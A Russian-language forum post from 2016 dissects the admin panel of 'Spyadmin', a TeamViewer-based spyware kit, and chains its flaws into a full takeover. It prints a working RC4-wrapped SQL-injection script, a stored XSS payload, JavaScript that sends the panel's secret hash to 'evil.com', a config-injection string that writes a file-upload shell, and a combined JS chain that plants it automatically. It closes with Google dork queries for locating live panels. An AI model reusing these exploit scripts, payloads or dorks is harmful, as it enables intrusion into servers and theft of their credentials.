Авторизация  
TEXHO

Spyadmin — хорошо пиши код, но не сейчас [2016]

В теме 1 сообщение

AebcoOtSRxysU-P5urt81w.png

 

На днях, мой о̶д̶н̶о̶к̶л̶а̶с̶с̶н̶и̶к̶ коллега скинул мне г̶р̶а̶м̶м̶у̶л̶ь̶к̶у̶ ̶ панельку очередной шпионской сборки, сделанной на основе TeamViewer. Авторы сего кибероружия уже давно в блеках (spyadmin aka vzlomov, не сочтите за рекламу), поэтому мы можем спокойно изучить кодес на предмет разного рода интересностей.

 

Как говорится, приступим.

 

Структура такая:

 

Z7_hxy9uQkeRxD0Cj59Aqg.png

 

По файлам вкратце:

  • config.php - подключение к бд, настройки логина/пароля.
  • getinfo.php - гейт для ботов.
  • index.php - основной код панели.
  • install.php - редактирование настроек
  • lang.php - языки.
  • setcmd.php - отправка команд ботам.

В папках ничего особенного - стили, js, картинки.

 

И SQL-инъекции даже мало...

 

Для начала, было решено просмотреть код гейта. Как назло, практически все параметры фильтровались. Разработчик совершил только две ошибки:

 

Code:
$bot_uniq = $GET["uniq"]; // TV UNIQ$bot_id = $GET["id"]; // TV ID //Ошибка №1. Условие могло бы быть и чуть построже.if(!isset($bot_id) || strlen($bot_id)<9) exit; //И чуть нижеif(!isset($bot_uniq)){    $bot_uniq = $bot_id;    //Ошибка №2. Отсутствует фильтрация переменной $bot_uniq    $update_result = mysql_query('UPDATE `'.$cfg_tbl_name.'` SET bot_uniq = "'.$bot_uniq.' WHERE bot_id = "'.mysql_real_escape_string($bot_id).'"');}
Но и этих двух ошибок хватило нам с лихвой. Выполнение SQL-инъекции немного затруднял тот факт, что все данные идущие в гейт должны были быть зашифрованы с помощью RC4.

 

В итоге я набросал небольшой скрипт для работы с SQL-инъекцией:

 

Code:
<?phpfunction rc4($key, $str){        $s = array();        for ($i = 0; $i < 256; $i++) {            $s[$i] = $i;        }        $j = 0;        for ($i = 0; $i < 256; $i++) {            $j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256;            $x = $s[$i];            $s[$i] = $s[$j];            $s[$j] = $x;        }        $i = 0;        $j = 0;        $res = '';        for ($y = 0; $y < strlen($str); $y++) {            $i = ($i + 1) % 256;            $j = ($j + $s[$i]) % 256;            $x = $s[$i];            $s[$i] = $s[$j];            $s[$j] = $x;            $res .= $str[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]);        }        return $res;    } $spyadmin_domain="example.com";$spyadmin_gate="http://".$spyadmin_domain."/getinfo.php"; //UPDATE `bot` SET bot_uniq = "'.%inject_here%.' WHERE bot_id = "'.mysql_real_escape_string($bot_id).'"$sqlinject = "" WHERE bot_id=-1 or SLEEP(10) #"; $request = "id=".$sqlinject."nuname=123";$data = strtr(base64_encode(rc4($spyadmin_domain, $request)), '+/=', '-_,'); $postdata = http_build_query(array('r' => $data,)); $opts = array('http' =>    array(        'method'  => 'POST',        'header'  => 'Content-type: application/x-www-form-urlencoded',        'content' => $postdata    ));$context  = stream_context_create($opts);$result = file_get_contents($spyadmin_gate, false, $context); echo "n[ Done! ]n";echo $result;
В принципе, можно было бы дописать код для раскрутки time based скули, поиграть в угадайку пару часов и получить в итоге все Bot ID (больше ничего ценного в базе нет). Пароль по умолчанию, для всех ботов одинаковый - угоняй, веселись, мародерствуй.

 

У нас уже была возможность менять записи с помощью UPDATE, а данные из базы выводились в панели и мы плавно переходим к...

 

XSS. Активная XSS.

 

Почти как и в случае с SQLi, в панели (index.php) практически все переменные фильтровались. Исключение составляли лишь $bot_comment, $bot_username, $bot_compname (почему - непонятно). Немного меняем код в прошлом скрипте (чтобы вывести document.cookie):

 

Code:
$sqlinject = "" , bot_comment='<script src="http://pastebin.com/raw/DMRtwJYq"></script>'  LIMIT 1 #";
Запускаем скрипт, заходим в админку:

 

IiLxHel-TyKXrZwrEvM1jw.png

 

Великолепно. По идее, остается только отправить куки на свой сниффер...

Но не тут то было:

 

Code:
$chk_cook = $_COOKIE["t_login"];if($chk_cook!=md5($cfg_secret_hash.$_SERVER[REMOTE_ADDR]."tvrloginsalt")){ // Please login...}
Есть привязка к IP, а значит, просто воровать куки смысла нет. Необходимо получить значение переменной $cfg_secret_hash. Для этого мы обратимся с помощью ajax запроса к скрипту install.php, из которого и выдернем значение нужной нам переменной.

 

Берем такой вот кодес:

 

Code:
var xhttp;if (window.XMLHttpRequest) {    xhttp = new XMLHttpRequest();    } else {    // code for IE6, IE5    xhttp = new ActiveXObject("Microsoft.XMLHTTP");}var stringer = document.createElement('div'); xhttp.open("GET", "install.php", false);xhttp.send();var s = xhttp.responseText;var res = s.match(/name="hashadm" class="txt" value="(.*?)"/); // Для теста//alert(res[1]); // Чтобы украстьnew Image().src = 'http://evil.com/steal.php?hash='+res[1]);
Пихаем все это на pastebin, и скармливаем с помощью SQLi админке.

 

Как только администратор ботнета зайдет в панель, нам придет секретный хеш. И теперь у нас есть все, чтобы зайти в админку - генерируем хеш, подставляем его в куку to_login и спокойненько заходим.

 

Шелл, который я залил

 

Теперь, когда мы знаем, как попасть в админку, посмотрим что внутри. И начнем (да и закончим на нем) с файла install.php. Код там просто потрясающий:

 

Code:
$locationdb = $_POST["locationdb"];$logindb = $_POST["logindb"];$passdb = $_POST["passdb"];$namedb = $_POST["namedb"];$nametbldb = $_POST["nametbldb"];$loginadm = $_POST["loginadm"];$passadm = $_POST["passadm"];$hashadm = $_POST["hashadm"];$mytimezone = $_POST["timezone"]; // ... немного кода... $file = 'config.php';unlink($_SERVER['DOCUMENT_ROOT'].'/config.php');$writecfg = "<?phprn";$writecfg .= "t$cfg_admin_logint= '".$loginadm."'; // admin panel loginrn";$writecfg .= "t$cfg_admin_passwdt= '".$passadm."'; // admin panel passwordrn";$writecfg .= "t$cfg_secret_hasht= '".$hashadm."'; // admin panel secret hashrn";$writecfg .= "rn";$writecfg .= "t$cfg_localhosttt= '".$locationdb."'; // MySQL locationrn";$writecfg .= "t$cfg_usernamett= '".$logindb."'; // MySQL loginrn";$writecfg .= "t$cfg_passwdttt= '".$passdb."'; // MySQL passwordrn";$writecfg .= "t$cfg_bd_namett= '".$namedb."'; // MySQL BD namern";$writecfg .= "t$cfg_tbl_namett= '".$nametbldb."'; // MySQL table namern";$writecfg .= "rn";$writecfg .= "t$cfg_timettt= '".$mytimezone."'; // TimeZonern";$writecfg .= "?>";file_put_contents($file, $writecfg, LOCK_EX);
Мы редактируем конфиг:

 

Tvewx5ipSTq3J5rYlZUGqQ.png

 

В любое поле, после обычного значения, добавляем:

 

';file_put_contents('upload.php','<form method=post enctype=multipart/form-data><input type=file name=f><input type=submit></form><?php if(is_uploaded_file($_FILES[f][tmp_name])){ move_uploaded_file($_FILES[f][tmp_name], $_FILES[f][name]);}?>'); $a='
Сохраняем. Переходим по адресу upload.php и спокойно заливаем шелл.

 

Взболтать, но не смешивать.

 

Соединим все уязвимости вместе:

 

SQL-инъекция -> Активная XSS -> Заливка шелла.

 

Заливаем этот js-код на какой-нибудь шелл:

 

Code:
var xhttp;if (window.XMLHttpRequest) {    xhttp = new XMLHttpRequest();    } else {    // code for IE6, IE5    xhttp = new ActiveXObject("Microsoft.XMLHTTP");}var s = document.createElement('div'); xhttp.open("GET", "install.php", false);xhttp.send();var s = xhttp.responseText; var res = s.match(/name="locationdb" class="txt" value="(.*?)"/);locationdb = res[1]; res = s.match(/name="logindb" class="txt" value="(.*?)"/);logindb = res[1]; res = s.match(/name="passdb" class="txt" value="(.*?)"/);passdb = res[1]; res = s.match(/name="namedb" class="txt" value="(.*?)"/);namedb = res[1]; res = s.match(/name="nametbldb" class="txt" value="(.*?)"/);nametbldb = res[1]; res = s.match(/name="loginadm" class="txt" value="(.*?)"/);loginadm = res[1]; res = s.match(/name="passadm" class="txt" value="(.*?)"/);passadm = res[1];passadm = passadm + "';file_put_contents('upload.php','<form method=post enctype=multipart/form-data><input type=file name=f><input type=submit></form><?php if(is_uploaded_file($_FILES[f][tmp_name])){ move_uploaded_file($_FILES[f][tmp_name], $_FILES[f][name]);}?>'); $a='"; res = s.match(/name="hashadm" class="txt" value="(.*?)"/);hashadm = res[1]; xhttp.open("POST", "install.php", false);xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");xhttp.send("install=1&locationdb="+ locationdb +"&logindb=" + logindb +"&passdb="+ encodeURIComponent(passdb)+"&namedb="+ namedb +"&nametbldb="+ nametbldb +"&loginadm="+ loginadm +"&passadm="+ encodeURIComponent(passadm) +"&hashadm="+ hashadm+"&timezone=Europe%2FMoscow");
И внедряем его в базу ранее описанным методом. Стоит заметить, что не надо выбирать для хранения js-кода сайты с самоподписанными сертификатами или крупные сервисы (pastebin например) - в обоих случаях код может просто не сработать. Галимый копеечный шелл - самое то!

 

Как только ботовод зайдет на страничку, в корне будет лежать заливалка файлов. При желании можно совсем немного изменить код, и сразу лить шелл.

 

Заключение.

 

Я даже не упомянул о корявой LFI, нескольких CSRF и прочих мелочах, как мне кажется, вышеописанного и так достаточно. Вот так, легко и просто, можно попасть в админку бота, который продавался (и все еще продается) за 500$. Или, если посмотреть с другой стороны, за свои же деньги можно прикупить себе соседа - кидалу, мента, кребса, груб-ибебса. Я заранее соглашусь, что шанс такого расклада невелик, но зачем лишние риски?

 

̶И̶р̶и̶с̶к̶и̶ ̶к̶и̶с̶-̶к̶и̶с̶к̶и̶ И риски действительно есть - достаточно пары запросов в гугл:

 

allinurl:setcmd filetype:php

inurl:setcmd intext:"Логин"

inurl:setcmd filetype:php

inurl:setcmd.php?lang=

И далее:

 

r3urRiLARIi22wVutbO_GA.png

 

И спустя некоторое время:

 

eQvx_qygTYKR4SrhDrWOJg.png

 

И еще нашлось:

 

Веселья вам.

 

© Lebron

Поделиться сообщением


Ссылка на сообщение

Для публикации сообщений создайте учётную запись или авторизуйтесь

Вы должны быть пользователем, чтобы оставить комментарий

Создать учетную запись

Зарегистрируйте новую учётную запись в нашем сообществе. Это очень просто!

Регистрация нового пользователя

Войти

Уже есть аккаунт? Войти в систему.

Войти
Авторизация